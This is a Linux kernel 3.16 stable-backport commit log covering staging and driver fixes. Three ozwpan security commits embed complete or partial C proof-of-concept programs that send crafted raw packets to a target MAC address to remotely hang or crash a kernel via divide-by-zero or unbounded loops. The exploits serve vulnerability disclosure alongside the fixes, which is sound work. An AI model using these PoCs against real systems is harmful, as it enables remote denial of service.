Commit graph

25,073 commits

Author SHA1 Message Date
Ian Abbott
f11001c32a staging: comedi: ni_mio_common: fix wrong insn_write handler
commit 5ca05345c5 upstream.

For counter subdevices, the `s->insn_write` handler is being set to the
wrong function, `ni_tio_insn_read()`.  It should be
`ni_tio_insn_write()`.

Signed-off-by: Ian Abbott <abbotti@mev.co.uk>
Reported-by: Éric Piel <piel@delmic.com>
Fixes: 10f74377ee ("staging: comedi: ni_tio: make ni_tio_winsn() a
  proper comedi (*insn_write)")
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
2016-11-20 01:17:39 +00:00
Jan Kara
be9df69943 fs: Give dentry to inode_change_ok() instead of inode
commit 31051c85b5 upstream.

inode_change_ok() will be resposible for clearing capabilities and IMA
extended attributes and as such will need dentry. Give it as an argument
to inode_change_ok() instead of an inode. Also rename inode_change_ok()
to setattr_prepare() to better relect that it does also some
modifications in addition to checks.

Reviewed-by: Christoph Hellwig <hch@lst.de>
Signed-off-by: Jan Kara <jack@suse.cz>
[bwh: Backported to 3.16:
 - Drop changes to orangefs, overlayfs
 - Adjust filenames, context
 - In fuse, pass dentry to fuse_do_setattr()
 - In nfsd, pass dentry to nfsd_sanitize_attrs()
 - In xfs, pass dentry to xfs_setattr_nonsize() and xfs_setattr_size()
 - Update ext3 as well]
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
2016-11-20 01:17:38 +00:00
Ian Abbott
5293281026 staging: comedi: ni_mio_common: fix AO inttrig backwards compatibility
commit f0f4b0cc3a upstream.

Commit ebb657babf ("staging: comedi: ni_mio_common: clarify the
cmd->start_arg validation and use") introduced a backwards compatibility
issue in the use of asynchronous commands on the AO subdevice when
`start_src` is `TRIG_EXT`.  Valid values for `start_src` are `TRIG_INT`
(for internal, software trigger), and `TRIG_EXT` (for external trigger).
When set to `TRIG_EXT`.  In both cases, the driver relies on an
internal, software trigger to set things up (allowing the user
application to write sufficient samples to the data buffer before the
trigger), so it acts as a software "pre-trigger" in the `TRIG_EXT` case.
The software trigger is handled by `ni_ao_inttrig()`.

Prior to the above change, when `start_src` was `TRIG_INT`, `start_arg`
was required to be 0, and `ni_ao_inttrig()` checked that the software
trigger number was also 0.  After the above change, when `start_src` was
`TRIG_INT`, any value was allowed for `start_arg`, and `ni_ao_inttrig()`
checked that the software trigger number matched this `start_arg` value.
The backwards compatibility issue is that the internal trigger number
now has to match `start_arg` when `start_src` is `TRIG_EXT` when it
previously had to be 0.

Fix the backwards compatibility issue in `ni_ao_inttrig()` by always
allowing software trigger number 0 when `start_src` is something other
than `TRIG_INT`.

Thanks to Spencer Olson for reporting the issue.

Signed-off-by: Ian Abbott <abbotti@mev.co.uk>
Reported-by: Spencer Olson <olsonse@umich.edu>
Fixes: ebb657babf ("staging: comedi: ni_mio_common: clarify the cmd->start_arg validation and use")
Reviewed-by: H Hartley Sweeten <hsweeten@visionengravers.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
2016-11-20 01:17:14 +00:00
Ian Abbott
8368871e23 staging: comedi: daqboard2000: bug fix board type matching code
commit 80e162ee9b upstream.

`daqboard2000_find_boardinfo()` is supposed to check if the
DaqBoard/2000 series model is supported, based on the PCI subvendor and
subdevice ID.  The current code is wrong as it is comparing the PCI
device's subdevice ID to an expected, fixed value for the subvendor ID.
It should be comparing the PCI device's subvendor ID to this fixed
value.  Correct it.

Fixes: 7e8401b23e ("staging: comedi: daqboard2000: add back
subsystem_device check")
Signed-off-by: Ian Abbott <abbotti@mev.co.uk>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
2016-11-20 01:17:14 +00:00
Luis de Bethencourt
a0e025caed staging: iio: accel: fix error check
commit ef3149eb3d upstream.

sca3000_read_ctrl_reg() returns a negative number on failure, check for
this instead of zero.

Signed-off-by: Luis de Bethencourt <luisbg@osg.samsung.com>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
2016-08-22 22:38:21 +01:00
Ignat Korchagin
87cfd54498 USB: usbip: fix potential out-of-bounds write
commit b348d7dddb upstream.

Fix potential out-of-bounds write to urb->transfer_buffer
usbip handles network communication directly in the kernel. When receiving a
packet from its peer, usbip code parses headers according to protocol. As
part of this parsing urb->actual_length is filled. Since the input for
urb->actual_length comes from the network, it should be treated as untrusted.
Any entity controlling the network may put any value in the input and the
preallocated urb->transfer_buffer may not be large enough to hold the data.
Thus, the malicious entity is able to write arbitrary data to kernel memory.

Signed-off-by: Ignat Korchagin <ignat.korchagin@gmail.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
[bwh: Backported to 3.16: adjust filename]
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
2016-05-01 00:06:11 +02:00
Spencer E. Olson
94d378368f staging: comedi: ni_tiocmd: change mistaken use of start_src for start_arg
commit 1fd24a4702 upstream.

This fixes a bug in function ni_tio_input_inttrig().  The trigger number
should be compared to cmd->start_arg, not cmd->start_src.

Fixes: 6a760394d7 ("staging: comedi: ni_tiocmd: clarify the cmd->start_arg validation and use")
Signed-off-by: Spencer E. Olson <olsonse@umich.edu>
Reviewed-by: Ian Abbott <abbotti@mev.co.uk>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Cc: Ian Abbott <abbotti@mev.co.uk>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2016-04-11 09:57:07 +01:00
Lisa Du
b99166f224 drivers: android: correct the size of struct binder_uintptr_t for BC_DEAD_BINDER_DONE
commit 7a64cd887f upstream.

There's one point was missed in the patch commit da49889deb ("staging:
binder: Support concurrent 32 bit and 64 bit processes."). When configure
BINDER_IPC_32BIT, the size of binder_uintptr_t was 32bits, but size of
void * is 64bit on 64bit system. Correct it here.

Signed-off-by: Lisa Du <cldu@marvell.com>
Signed-off-by: Nicolas Boichat <drinkcat@chromium.org>
Fixes: da49889deb ("staging: binder: Support concurrent 32 bit and 64 bit processes.")
Acked-by: Olof Johansson <olof@lixom.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
[ luis: backported to 3.16:
  - binder is still in staging in the 3.16 kernel]
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2016-03-08 12:15:26 +00:00
Peter Hurley
1678108e42 staging/speakup: Use tty_ldisc_ref() for paste kworker
commit f4f9edcf9b upstream.

As the function documentation for tty_ldisc_ref_wait() notes, it is
only callable from a tty file_operations routine; otherwise there
is no guarantee the ref won't be NULL.

The key difference with the VT's paste_selection() is that is an ioctl,
where __speakup_paste_selection() is completely async kworker, kicked
off from interrupt context.

Fixes: 28a821c306 ("Staging: speakup: Update __speakup_paste_selection()
       tty (ab)usage to match vt")
Signed-off-by: Peter Hurley <peter@hurleysoftware.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2016-02-17 10:22:43 +00:00
Al Viro
a372f7801d staging: lustre: echo_copy.._lsm() dereferences userland pointers directly
commit 9225c0b7b9 upstream.

missing get_user()

Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
[ luis: backported to 3.16: adjusted context ]
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2016-01-11 10:50:17 +00:00
Vladimir Zapolskiy
2f26036ac9 iio: lpc32xx_adc: fix warnings caused by enabling unprepared clock
commit 01bb70ae0b upstream.

If common clock framework is configured, the driver generates a warning,
which is fixed by this change:

    root@devkit3250:~# cat /sys/bus/iio/devices/iio\:device0/in_voltage0_raw
    ------------[ cut here ]------------
    WARNING: CPU: 0 PID: 724 at drivers/clk/clk.c:727 clk_core_enable+0x2c/0xa4()
    Modules linked in: sc16is7xx snd_soc_uda1380
    CPU: 0 PID: 724 Comm: cat Not tainted 4.3.0-rc2+ #198
    Hardware name: LPC32XX SoC (Flattened Device Tree)
    Backtrace:
    [<>] (dump_backtrace) from [<>] (show_stack+0x18/0x1c)
    [<>] (show_stack) from [<>] (dump_stack+0x20/0x28)
    [<>] (dump_stack) from [<>] (warn_slowpath_common+0x90/0xb8)
    [<>] (warn_slowpath_common) from [<>] (warn_slowpath_null+0x24/0x2c)
    [<>] (warn_slowpath_null) from [<>] (clk_core_enable+0x2c/0xa4)
    [<>] (clk_core_enable) from [<>] (clk_enable+0x24/0x38)
    [<>] (clk_enable) from [<>] (lpc32xx_read_raw+0x38/0x80)
    [<>] (lpc32xx_read_raw) from [<>] (iio_read_channel_info+0x70/0x94)
    [<>] (iio_read_channel_info) from [<>] (dev_attr_show+0x28/0x4c)
    [<>] (dev_attr_show) from [<>] (sysfs_kf_seq_show+0x8c/0xf0)
    [<>] (sysfs_kf_seq_show) from [<>] (kernfs_seq_show+0x2c/0x30)
    [<>] (kernfs_seq_show) from [<>] (seq_read+0x1c8/0x440)
    [<>] (seq_read) from [<>] (kernfs_fop_read+0x38/0x170)
    [<>] (kernfs_fop_read) from [<>] (do_readv_writev+0x16c/0x238)
    [<>] (do_readv_writev) from [<>] (vfs_readv+0x50/0x58)
    [<>] (vfs_readv) from [<>] (default_file_splice_read+0x1a4/0x308)
    [<>] (default_file_splice_read) from [<>] (do_splice_to+0x78/0x84)
    [<>] (do_splice_to) from [<>] (splice_direct_to_actor+0xc8/0x1cc)
    [<>] (splice_direct_to_actor) from [<>] (do_splice_direct+0xa0/0xb8)
    [<>] (do_splice_direct) from [<>] (do_sendfile+0x1a8/0x30c)
    [<>] (do_sendfile) from [<>] (SyS_sendfile64+0x104/0x10c)
    [<>] (SyS_sendfile64) from [<>] (ret_fast_syscall+0x0/0x38)

Signed-off-by: Vladimir Zapolskiy <vz@mleia.com>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-12-14 10:17:07 +00:00
Larry Finger
9bd08031cc staging: rtl8712: Add device ID for Sitecom WLA2100
commit 1e6e632836 upstream.

This adds the USB ID for the Sitecom WLA2100. The Windows 10 inf file
was checked to verify that the addition is correct.

Reported-by: Frans van de Wiel <fvdw@fvdw.eu>
Signed-off-by: Larry Finger <Larry.Finger@lwfinger.net>
Cc: Frans van de Wiel <fvdw@fvdw.eu>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-12-13 17:48:54 +00:00
Salva Peiró
df3a19b81c staging/dgnc: fix info leak in ioctl
commit 4b6184336e upstream.

The dgnc_mgmt_ioctl() code fails to initialize the 16 _reserved bytes of
struct digi_dinfo after the ->dinfo_nboards member. Add an explicit
memset(0) before filling the structure to avoid the info leak.

Signed-off-by: Salva Peiró <speirofr@gmail.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Cc: Moritz Mühlenhoff <jmm@inutil.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-11-16 11:27:22 +00:00
Alexandre Belloni
846556c534 iio: mxs-lradc: Fix temperature offset
commit b94e22805a upstream.

0° Kelvin is actually −273.15°C, not -272.15°C. Fix the temperature offset.
Also improve the comment explaining the calculation.

Reported-by: Janusz Użycki <j.uzycki@elpromaelectronics.com>
Signed-off-by: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Acked-by: Stefan Wahren <stefan.wahren@i2se.com>
Acked-by: Marek Vasut <marex@denx.de>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-11-16 11:26:59 +00:00
Dan Carpenter
5beb4a0700 iio: accel: sca3000: memory corruption in sca3000_read_first_n_hw_rb()
commit eda7d0f38a upstream.

"num_read" is in byte units but we are write u16s so we end up write
twice as much as intended.

Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Jonathan Cameron <jic23@kernel.org>
[ luis: backported to 3.16: adjusted context ]
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-11-16 11:26:55 +00:00
covici@ccs.covici.com
5b69d18904 staging: speakup: fix speakup-r regression
commit b1d562acc7 upstream.

Here is a patch to make speakup-r work again.

It broke in 3.6 due to commit 4369c64c79
"Input: Send events one packet at a time)

The problem was that the fakekey.c routine to fake a down arrow no
longer functioned properly and putting the input_sync fixed it.

Fixes: 4369c64c79
Acked-by: Samuel Thibault <samuel.thibault@ens-lyon.org>
Signed-off-by: John Covici <covici@ccs.covici.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-10-30 13:59:29 +00:00
Shawn Lin
512e9d6827 staging: ion: fix corruption of ion_import_dma_buf
commit 6fa92e2bcf upstream.

we found this issue but still exit in lastest kernel. Simply
keep ion_handle_create under mutex_lock to avoid this race.

WARNING: CPU: 2 PID: 2648 at drivers/staging/android/ion/ion.c:512 ion_handle_add+0xb4/0xc0()
ion_handle_add: buffer already found.
Modules linked in: iwlmvm iwlwifi mac80211 cfg80211 compat
CPU: 2 PID: 2648 Comm: TimedEventQueue Tainted: G        W    3.14.0 #7
 00000000 00000000 9a3efd2c 80faf273 9a3efd6c 9a3efd5c 80935dc9 811d7fd3
 9a3efd88 00000a58 812208a0 00000200 80e128d4 80e128d4 8d4ae00c a8cd8600
 a8cd8094 9a3efd74 80935e0e 00000009 9a3efd6c 811d7fd3 9a3efd88 9a3efd9c
Call Trace:
  [<80faf273>] dump_stack+0x48/0x69
  [<80935dc9>] warn_slowpath_common+0x79/0x90
  [<80e128d4>] ? ion_handle_add+0xb4/0xc0
  [<80e128d4>] ? ion_handle_add+0xb4/0xc0
  [<80935e0e>] warn_slowpath_fmt+0x2e/0x30
  [<80e128d4>] ion_handle_add+0xb4/0xc0
  [<80e144cc>] ion_import_dma_buf+0x8c/0x110
  [<80c517c4>] reg_init+0x364/0x7d0
  [<80993363>] ? futex_wait+0x123/0x210
  [<80992e0e>] ? get_futex_key+0x16e/0x1e0
  [<8099308f>] ? futex_wake+0x5f/0x120
  [<80c51e19>] vpu_service_ioctl+0x1e9/0x500
  [<80994aec>] ? do_futex+0xec/0x8e0
  [<80971080>] ? prepare_to_wait_event+0xc0/0xc0
  [<80c51c30>] ? reg_init+0x7d0/0x7d0
  [<80a22562>] do_vfs_ioctl+0x2d2/0x4c0
  [<80b198ad>] ? inode_has_perm.isra.41+0x2d/0x40
  [<80b199cf>] ? file_has_perm+0x7f/0x90
  [<80b1a5f7>] ? selinux_file_ioctl+0x47/0xf0
  [<80a227a8>] SyS_ioctl+0x58/0x80
  [<80fb45e8>] syscall_call+0x7/0x7
  [<80fb0000>] ? mmc_do_calc_max_discard+0xab/0xe4

Fixes: 83271f626 ("ion: hold reference to handle...")
Signed-off-by: Shawn Lin <shawn.lin@rock-chips.com>
Reviewed-by: Laura Abbott <labbott@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-10-09 14:41:06 +01:00
Ian Abbott
05e638ae31 staging: comedi: adl_pci7x3x: fix digital output on PCI-7230
commit ad83dbd974 upstream.

The "adl_pci7x3x" driver replaced the "adl_pci7230" and "adl_pci7432"
drivers in commits 8f567c373c ("staging: comedi: new adl_pci7x3x
driver") and 657f77d173 ("staging: comedi: remove adl_pci7230 and
adl_pci7432 drivers").  Although the new driver code agrees with the
user manuals for the respective boards, digital outputs stopped working
on the PCI-7230.  This has 16 digital output channels and the previous
adl_pci7230 driver shifted the 16 bit output state left by 16 bits
before writing to the hardware register.  The new adl_pci7x3x driver
doesn't do that.  Fix it in `adl_pci7x3x_do_insn_bits()` by checking
for the special case of the subdevice having only 16 channels and
duplicating the 16 bit output state into both halves of the 32-bit
register.  That should work both for what the board actually does and
for what the user manual says it should do.

Fixes: 8f567c373c ("staging: comedi: new adl_pci7x3x driver")
Signed-off-by: Ian Abbott <abbotti@mev.co.uk>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-09-28 10:21:41 +01:00
Ian Abbott
a9fe999e47 staging: comedi: usbduxsigma: don't clobber ao_timer in command test
commit c04a1f1780 upstream.

`devpriv->ao_timer` is used while an asynchronous command is running on
the AO subdevice.  It also gets modified by the subdevice's `cmdtest`
handler for checking new asynchronous commands,
`usbduxsigma_ao_cmdtest()`, which is not correct as it's allowed to
check new commands while an old command is still running.  Fix it by
moving the code which sets up `devpriv->ao_timer` into the subdevice's
`cmd` handler, `usbduxsigma_ao_cmd()`.

** This backported patch also moves the code that sets up
`devpriv->ao_sample_count` from `usbduxsigma_ao_cmdtest()` to
`usbduxsigma_ao_cmd()` for the same reason as above.  (This was not
needed in the upstream commit.) **

Note that the removed code in `usbduxsigma_ao_cmdtest()` checked that
`devpriv->ao_timer` did not end up less that 1, but that could not
happen due because `cmd->scan_begin_arg` or `cmd->convert_arg` had
already been range-checked.

Also note that we tested the `high_speed` variable in the old code, but
that is currently always 0 and means that we always use "scan" timing
(`cmd->scan_begin_src == TRIG_TIMER` and `cmd->convert_src == TRIG_NOW`)
and never "convert" (individual sample) timing (`cmd->scan_begin_src ==
TRIG_FOLLOW` and `cmd->convert_src == TRIG_TIMER`).  The moved code
tests `cmd->convert_src` instead to decide whether "scan" or "convert"
timing is being used, although currently only "scan" timing is
supported.

Fixes: fb1ef622e7 ("staging: comedi: usbduxsigma: tidy up analog output command support")
Signed-off-by: Ian Abbott <abbotti@mev.co.uk>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-09-28 10:21:33 +01:00
Ian Abbott
101ce40869 staging: comedi: usbduxsigma: don't clobber ai_timer in command test
commit 423b24c37d upstream.

`devpriv->ai_timer` is used while an asynchronous command is running on
the AI subdevice.  It also gets modified by the subdevice's `cmdtest`
handler for checking new asynchronous commands
(`usbduxsigma_ai_cmdtest()`), which is not correct as it's allowed to
check new commands while an old command is still running.  Fix it by
moving the code which sets up `devpriv->ai_timer` and
`devpriv->ai_interval` into the subdevice's `cmd` handler,
`usbduxsigma_ai_cmd()`.

** This backported patch also moves the code that sets up
`devpriv->ai_sample_count` from `usbduxsigma_ai_cmdtest()` to
`usbduxsigma_ai_cmd()` for the same reason as above. (This was not
needed in the upstream commit.) **

Note that the removed code in `usbduxsigma_ai_cmdtest()` checked that
`devpriv->ai_timer` did not end up less than than 1, but that could not
happen because `cmd->scan_begin_arg` had already been checked to be at
least the minimum required value (at least when `cmd->scan_begin_src ==
TRIG_TIMER`, which had also been checked to be the case).

Fixes: b986be8527 ("staging: comedi: usbduxsigma: tidy up analog input command support)
Signed-off-by: Ian Abbott <abbotti@mev.co.uk>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-09-28 10:21:33 +01:00
Malcolm Priestley
0714f36a6c staging: vt6655: device_rx_srv check sk_buff is NULL
commit b5eeed8cb6 upstream.

There is a small chance that pRD->pRDInfo->skb could go NULL
while the interrupt is processing.

Put NULL check on loop to break out.

Signed-off-by: Malcolm Priestley <tvboxspy@gmail.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
[ luis: backported to 3.16: adjusted context ]
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-07-15 10:00:15 +01:00
Haggai Eran
f5970a2a70 staging: rtl8712: prevent buffer overrun in recvbuf2recvframe
commit cab462140f upstream.

With an RTL8191SU USB adaptor, sometimes the hints for a fragmented
packet are set, but the packet length is too large. Allocate enough
space to prevent memory corruption and a resulting kernel panic [1].

[1] http://www.spinics.net/lists/linux-wireless/msg136546.html

Signed-off-by: Haggai Eran <haggai.eran@gmail.com>
ACKed-by: Larry Finger <Larry.Finger@lwfinger.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-07-15 10:00:14 +01:00
Jason A. Donenfeld
aa246412f1 ozwpan: unchecked signed subtraction leads to DoS
commit 9a59029bc2 upstream.

The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed) - 3
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 1,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-06-11 11:24:58 +01:00
Jason A. Donenfeld
a422e82cbf ozwpan: divide-by-zero leading to panic
commit 04bf464a5d upstream.

A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed)
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}

Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Signed-off-by: Luis Henriques <luis.henriques@canonical.com>
2015-06-11 11:24:58 +01:00
Jason A. Donenfeld
cd6bcf08bf ozwpan: Use unsigned ints to prevent heap overflow
commit b1bb5b4937 upstream.

Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
